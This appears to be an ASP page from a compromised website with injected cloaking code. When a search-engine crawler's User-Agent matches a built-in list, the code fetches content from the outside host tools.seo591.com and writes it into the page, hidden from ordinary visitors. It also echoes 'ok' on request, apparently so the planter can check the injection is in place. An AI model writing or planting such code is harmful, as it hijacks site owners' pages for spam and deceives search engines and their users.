|

|
<%
Function GetHttpPage(url, charset)
Dim http
Set http = Server.createobject("Msxml2.ServerXMLHTTP")
http.Open "GET", url, false
http.Send()
If http.readystate<>4 Then
Exit Function
End If
If IsEmpty(http.ResponseBody) Then
GetHttpPage = ""
Else
GetHttpPage = BytesToStr(http.ResponseBody, charset)
End If
Set http = Nothing
End function
Function BytesToStr(body, charset)
Dim objStream
Set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode = 3
objStream.Open
objStream.Write body
objStream.Position = 0
objStream.Type = 2
objStream.Charset = charset
BytesToStr = objStream.ReadText
objStream.Close
Set objStream = Nothing
End Function
dim userAgent: userAgent = LCase(Request.ServerVariables("HTTP_USER_AGENT"))
if IsEmpty(userAgent)<>true Then
dim bots: bots = split("back:brokerage:bot:crawl:spider:slurp:sohu-search:lycos:robozilla:baidu:google:soso:yodaobot:sogou:adsbot:mediapartners:msn:scooter:fast:ia_archiver:bingbot", ":")
dim serverName: serverName = Request.ServerVariables("SERVER_NAME")
dim j2011:j2011=0
For j2011 = 0 to UBound(bots)
If Instr(userAgent, bots(j2011)) > 0 Then
Response.Write(GetHttpPage("http://tools.seo591.com/remote/c.ashx?url=http://" & serverName & "/","GB2312"))
exit for
End If
Next
End If%><%if request("ok")="ok" then%>
ok<%end if%>
京ICP备09066009号